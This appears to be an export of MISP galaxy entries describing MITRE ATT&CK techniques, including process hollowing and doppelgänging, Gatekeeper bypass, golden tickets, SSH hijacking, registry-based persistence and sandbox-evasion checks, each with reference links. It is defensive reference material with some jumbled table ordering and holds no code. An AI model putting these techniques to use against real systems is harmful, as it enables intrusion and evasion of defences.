<td><a href="https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/">https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/</a></td>
</tr>
</tbody>
</table>
Broadcast Receivers - T1624.001

Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.

An intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

In addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.

In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app. (Citation: Android Changes to System Broadcasts)

The tag is: misp-galaxy:mitre-attack-pattern=Broadcast Receivers - T1624.001

Table 5587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1624/001">https://attack.mitre.org/techniques/T1624/001</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts">https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts</a></td>
</tr>
</tbody>
</table>

Bidirectional Communication - T1481.002

Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
External Defacement - T1491.002

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system's integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. (Citation: FireEye Cyber Threats to Media Industries) (Citation: Kevin Mandia Statement to US Senate Committee on Intelligence) (Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). (Citation: Trend Micro Deep Dive Into Defacement)

The tag is: `misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002"`

Table 5589. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1491/002">https://attack.mitre.org/techniques/T1491/002</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf">https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf</a></td>
</tr>
</tbody>
</table>

Process Hollowing - T1055.012

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as `<code>CreateProcess</code>`, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as `<code>ZwUnmapViewOfSection</code>` or `<code>NtUnmapViewOfSection</code>` before being written to, realigned to the injected code, and
resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)

This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012"</code>

**Table 5590. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/012">https://attack.mitre.org/techniques/T1055/012</a></td>
</tr>
</tbody>
</table>

**Downgrade Attack - T1562.010**

Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.

Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040). (Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected. (Citation: CrowdStrike BGH Ransomware 2021) (Citation: Mandiant BYOL 2018) (Citation: att_def_ps_logging)

Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text. (Citation: Targeted SSL Stripping Attacks Are Real) (Citation: Crowdstrike Downgrade)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010"</code>

**Table 5591. Table References**
Business Relationships - T1591.002

Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization's business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002"*

Table 5592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1591/002">https://attack.mitre.org/techniques/T1591/002</a></td>
</tr>
</tbody>
</table>
Cloud Account - T1136.003

Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system. (Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003"*

**Table 5593. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1136/003">https://attack.mitre.org/techniques/T1136/003</a></td>
</tr>
<tr>
<td><a href="https://support.google.com/cloudidentity/answer/7332836?hl=en&amp;ref_topic=7558554">https://support.google.com/cloudidentity/answer/7332836?hl=en&amp;ref_topic=7558554</a></td>
</tr>
<tr>
<td><a href="https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d">https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d</a></td>
</tr>
</tbody>
</table>

System Checks - T1633.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware's behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Hardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.
Outlook Forms - T1137.003

Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form. (Citation: SensePost Outlook Forms)

Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user. (Citation: SensePost Outlook Forms)

Launch Agent - T1543.001

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `/Library/LaunchAgents`. (Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the `<code>Label</code>`, `<code>ProgramArguments</code>`, and `<code>RunAtLoad</code>` keys to identify the Launch Agent’s name, executable location, and execution time. (Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the
appropriate folders with the `<code>RunAtLoad</code>` or `<code>KeepAlive</code>` keys set to `<code>true</code>`.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)

The tag is: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"`

**Web Protocols - T1437.001**

Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server.

Web protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect.

The tag is: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001"`

---

**Web Protocols - T1437.001**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1437/001">https://attack.mitre.org/techniques/T1437/001</a></td>
</tr>
</tbody>
</table>

---

**Table 5596. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1543/001">https://attack.mitre.org/techniques/T1543/001</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html</a></td>
</tr>
</tbody>
</table>

---

**Table 5597. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1437/001">https://attack.mitre.org/techniques/T1437/001</a></td>
</tr>
</tbody>
</table>
Gatekeeper Bypass - T1553.001

Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization)

Based on an opt-in system, when files are downloaded an extended attribute (xattr) called **com.apple.quarantine** (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)

2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.

3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.

4. Notarization - Using the [api.apple-cloudkit.com](https://api.apple-cloudkit.com) API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.

Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)

Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"

**Table 5598. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1553/001">https://attack.mitre.org/techniques/T1553/001</a></td>
</tr>
<tr>
<td><a href="https://eclecticlight.co/2020/08/28/how-notarization-works/">https://eclecticlight.co/2020/08/28/how-notarization-works/</a></td>
</tr>
</tbody>
</table>
Process Doppelgänging - T1055.013

Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may abuse TxF to perform a file-less variation of Process Injection (https://attack.mitre.org/techniques/T1055). Similar to Process Hollowing (https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as `<code>NtUnmapViewOfSection</code>`, `<code>VirtualProtectEx</code>`, and `<code>SetThreadContext</code>`. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked.
under a legitimate process.

The tag is: `misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013"`

**Table 5599. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/013">https://attack.mitre.org/techniques/T1055/013</a></td>
</tr>
</tbody>
</table>

**SSH Hijacking - T1563.001**

Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: `misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001"`

**Table 5600. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1563/001">https://attack.mitre.org/techniques/T1563/001</a></td>
</tr>
<tr>
<td><a href="https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident">https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident</a></td>
</tr>
</tbody>
</table>
URI Hijacking - T1635.001

Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.

Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources. (Citation: Trend Micro iOS URL Hijacking) (Citation: IETF-PKCE)

The tag is: `misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001"`

Table 5601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1635/001">https://attack.mitre.org/techniques/T1635/001</a></td>
</tr>
</tbody>
</table>

Symmetric Cryptography - T1573.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

The tag is: `misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"`

Table 5602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1573/001">https://attack.mitre.org/techniques/T1573/001</a></td>
</tr>
</tbody>
</table>
Outlook Rules - T1137.005

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user. (Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user. (Citation: SilentBreak Outlook Rules)

The tag is: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005"

Social Media - T1593.001

Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim's into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)). (Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: misp-galaxy:mitre-attack-pattern="Social Media - T1593.001"
Calendar Entries - T1636.001

Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the EventKit framework.

If the device has been jailbroken or rooted, an adversary may be able to access Calendar Entries without the user's knowledge or approval.

The tag is: `misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001"`

<table>
<thead>
<tr>
<th>Table 5605. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1636/001">https://attack.mitre.org/techniques/T1636/001</a></td>
</tr>
</tbody>
</table>

VDSO Hijacking - T1055.014

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdsos) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdsos shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: `misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014"`

<table>
<thead>
<tr>
<th>Table 5606. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html">http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html</a></td>
</tr>
</tbody>
</table>
AppInit DLLs - T1546.010

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `<code>AppInit_DLLs</code>` value in the Registry keys `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code>` or `<code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code>` are loaded by `user32.dll` into every process that loads `user32.dll`. In practice this is nearly every program, since `user32.dll` is a very common library. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: `misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010"`

Table 5607. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/010">https://attack.mitre.org/techniques/T1546/010</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/197571">https://support.microsoft.com/en-us/kb/197571</a></td>
</tr>
</tbody>
</table>

Port Monitors - T1547.010

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the `<code>AddMonitor</code>` API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `<code>C:\Windows\System32</code>` and will be loaded by the print spooler
service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"</code>

### Table 5608. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/010">https://attack.mitre.org/techniques/T1547/010</a></td>
</tr>
</tbody>
</table>

### Identify Roles - T1591.004

Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: <code>misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004"</code>
System Checks - T1497.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"`
Golden Ticket - T1558.001

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.

The tag is: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001"

Table 5611. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1515">https://adsecurity.org/?p=1515</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=1640">https://adsecurity.org/?p=1640</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=483">https://adsecurity.org/?p=483</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1558/001">https://attack.mitre.org/techniques/T1558/001</a></td>
</tr>
<tr>
<td><a href="https://blog.stealthbits.com/detect-pass-the-ticket-attacks">https://blog.stealthbits.com/detect-pass-the-ticket-attacks</a></td>
</tr>
<tr>
